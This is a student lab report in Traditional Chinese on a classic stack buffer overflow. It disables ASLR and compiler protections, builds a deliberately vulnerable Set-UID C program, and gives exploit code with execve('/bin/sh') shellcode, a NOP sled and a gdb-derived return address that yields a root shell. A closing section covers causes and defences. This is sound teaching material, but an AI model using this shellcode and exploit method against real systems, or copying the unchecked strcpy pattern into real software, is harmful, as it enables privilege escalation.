20221322 實驗七-緩衝區溢位 實驗報告
緩衝區溢位實驗
一、實驗簡介
緩衝區溢位是指程式試圖向緩衝區寫入超出預分配固定長度資料的情況。這一漏洞可以被惡意使用者利用來改變程式的流控制,甚至執行程式碼的任意片段。這一漏洞的出現是由於資料緩衝器和返回地址的暫時關閉,溢位會引起返回地址被重寫。
二、實驗準備
輸入命令安裝一些用於編譯 32 位 C 程式的軟體包:注意gdb的安裝
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y gdb
三、實驗步驟
3.1 初始設定
1、Ubuntu 和其他一些 Linux 系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜測準確的記憶體地址變得十分困難,而猜測記憶體地址是緩衝區溢位攻擊的關鍵。因此本次實驗中,我們使用以下命令關閉這一功能:
sudo sysctl -w kernel.randomize_va_space=0
2、此外,為了進一步防範緩衝區溢位攻擊及其它利用 shell 程式的攻擊,許多shell程式在被呼叫時自動放棄它們的特權。因此,即使你能欺騙一個 Set-UID 程式呼叫一個 shell,也不能在這個 shell 中保持 root 許可權,這個防護措施在 /bin/bash 中實現。
linux 系統中,/bin/sh 實際是指向 /bin/bash 或 /bin/dash 的一個符號連結。為了重現這一防護措施被實現之前的情形,我們使用另一個 shell 程式(zsh)代替 /bin/bash。下面的指令描述瞭如何設定 zsh 程式:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
3、輸入命令 linux32 進入32位linux環境。此時你會發現,命令列用起來沒那麼爽了,比如不能tab補全了,輸入 /bin/bash 使用bash:
linux32
/bin/bash
3.2 shellcode
一般情況下,緩衝區溢位會造成程式崩潰,在程式中,溢位的資料覆蓋了返回地址。而如果覆蓋返回地址的資料是另一個地址,那麼程式就會跳轉到該地址,如果該地址存放的是一段精心設計的程式碼用於實現其他功能,這段程式碼就是 shellcode。
#include <stdio.h> int main(){ char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); }
本次實驗的 shellcode,就是剛才程式碼的彙編版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3.3 漏洞程式
1、在 /tmp 目錄下新建一個 stack.c 檔案:
cd /tmp
vim stack.c
複製程式碼如果出現縮排混亂可先在 Vim 執行 :set paste 再按 i 鍵編輯。
按 i 鍵切換到插入模式,再輸入如下內容:
/* stack.c */
/* This program has a buffer overflow vulnerability. *//* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str){
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv){
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
2、通過程式碼可以知道,程式會讀取一個名為“badfile”的檔案,並將檔案內容裝入“buffer”。
編譯該程式,並設定 SET-UID。命令如下:
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
GCC編譯器有一種棧保護機制來阻止緩衝區溢位,所以我們在編譯程式碼時需要用 –fno-stack-protector 關閉這種機制。 而 -z execstack 用於允許執行棧。
-g 引數是為了使編譯後得到的可執行文件能用 gdb 除錯。
3.4 攻擊程式
我們的目的是攻擊剛才的漏洞程式,並通過攻擊獲得 root 許可權。在 /tmp 目錄下新建一個 exploit.c 檔案。
輸入如下內容:
/* exploit.c *//* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv){
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移處起始的四個位元組覆蓋sellcode地址
strcpy(buffer + 100, shellcode); //將shellcode拷貝至buffer,偏移量設為了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
也可以直接下載程式碼:
wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c
上面的程式碼,\x??\x??\x??\x?? 處需要添上 shellcode 儲存在記憶體中的地址,因為發生溢位後這個位置剛好可以覆蓋返回地址。而 strcpy(buffer+100,shellcode); 這一句又告訴我們,shellcode 儲存在 buffer + 100 的位置。
現在我們要得到 shellcode 在記憶體中的地址,輸入命令進入 gdb 除錯:
gdb stack
disass main
esp 中就是 str 的起始地址,所以我們在地址 0x080484ee 處設定斷點。
地址可能不一致,請根據你的顯示結果自行修改。
接下來的操作:
# 設定斷點
b *0x080484ee
r
i r $esp
最後獲得的這個 0xffffcfb0 就是 str 的地址。
按 q 鍵,再按 y 鍵可退出除錯。
根據語句 strcpy(buffer + 100,shellcode); 我們計算 shellcode 的地址為 0xffffcfb0 + 0x64 = 0xffffd014
實際操作中你的地址和我這裡的地址可能不一樣,需要根據你實際輸出的結果來計算。
可以使用 十六進位制加法計算器 計算。
現在修改 exploit.c 檔案,將 \x??\x??\x??\x?? 修改為計算的結果 \x14\xd0\xff\xff,注意順序是反的。
然後,編譯 exploit.c 程式:
gcc -m32 -o exploit exploit.c
3.5 攻擊結果
先執行攻擊程式 exploit,再執行漏洞程式 stack,觀察結果:
whoami 是輸入的命令,不是輸出結果。
可見,通過攻擊,獲得了root 許可權!
如果不能攻擊成功,提示”段錯誤“,那麼請重新使用 gdb 反彙編,計算記憶體地址。
四、其他
緩衝區溢位的原理
參考連結https://blog.csdn.net/weixin_45007073/article/details/116502542?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167074300116800192255577%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=167074300116800192255577&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-2-116502542-null-null.142v68control,201v4add_ask,213v2t3_esquery_v1&utm_term=%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E7%9A%84%E5%8E%9F%E7%90%86&spm=1018.2226.3001.4187
程式設計師通過往程式的緩衝區寫超出其長度的內容,造成緩衝區的溢位,從而破壞程式的堆疊,使程式轉而執行其它指令,以達到攻擊的目的。造成緩衝區溢位的原因是程式中沒有仔細檢查使用者輸入的引數。
緩衝區溢位的防範
參考連結https://blog.csdn.net/Hsuesh/article/details/112328680?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167074353016800192286512%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=167074353016800192286512&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-1-112328680-null-null.142v68control,201v4add_ask,213v2t3_esquery_v1&utm_term=%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E7%9A%84%E9%98%B2%E8%8C%83&spm=1018.2226.3001.4187
緩衝區溢位攻擊的防範是和整個系統的安全性分不開的。如果整個網路系統的安全設計很差,則遭受緩衝區溢位攻擊的機會也大大增加。針對緩衝區溢位,可以採取多種防範策略。
(1)系統管理上的防範策略:一要關閉不需要的特權程式;二要及時給程式漏洞打補丁。
(2)軟體開發過程中的防範策略
發生緩衝區溢位的主要及各要素是:陣列沒有邊界檢查而導致的緩衝區溢位;函式返回地址或函式指標被改變,使程式流程的改變成為可能;植入程式碼被成功的執行等等。所以針對這些要素,從技術上可以採取一定的措施。
- 1)強制寫正確的程式碼的方法。
只要在所有拷貝資料的地方進行資料長度和有效性的檢查,確保目標緩衝旦中資料不越界並有效,則就可以避免緩衝區溢位,更不可能使程式跳轉到惡意程式碼上。 - 2)通過作業系統使得緩衝區不可執行,從而阻止攻擊者殖入攻擊程式碼。
通過使被攻擊程式的資料段地址空間不可執行,從商使得攻擊者不可能執行被植入被攻擊程式輸入緩衝區的程式碼,這種技術被稱為緩衝區不可執行技術。 - 3)改進C語言函式庫。
C語言中存在緩衝區溢位攻擊隱患的系統匾數有很多。例如gets(),sprintf(),strcpy(),strcat(),fscanf(),scanf(),vsprintf()等。可以開發出更安全的封裝了若干己知易受堆疊溢位攻擊的岸函式。 - 4)使堆疊向高地址方向增長。
使用的機器堆疊壓入資料時向高地址方向前進,那麼無論緩衝區如何溢位,都不可能覆蓋低地址處的函式返回地址指標,也就避免了緩衝區溢位攻擊。但是這種方法仍然無法防範利用堆和靜態資料段的緩衝區進行溢位的攻擊。 - 5)在程式指標失效前進行完整性檢查。
原理是在每次在程式指標被引用之前先檢測該指標是否己被惡意改動過,如果發現被改動,程式就拒絕執行。 - 6)利用編譯器將靜態資料段中的函式地址指標存放地址和其他資料的存放地址分離。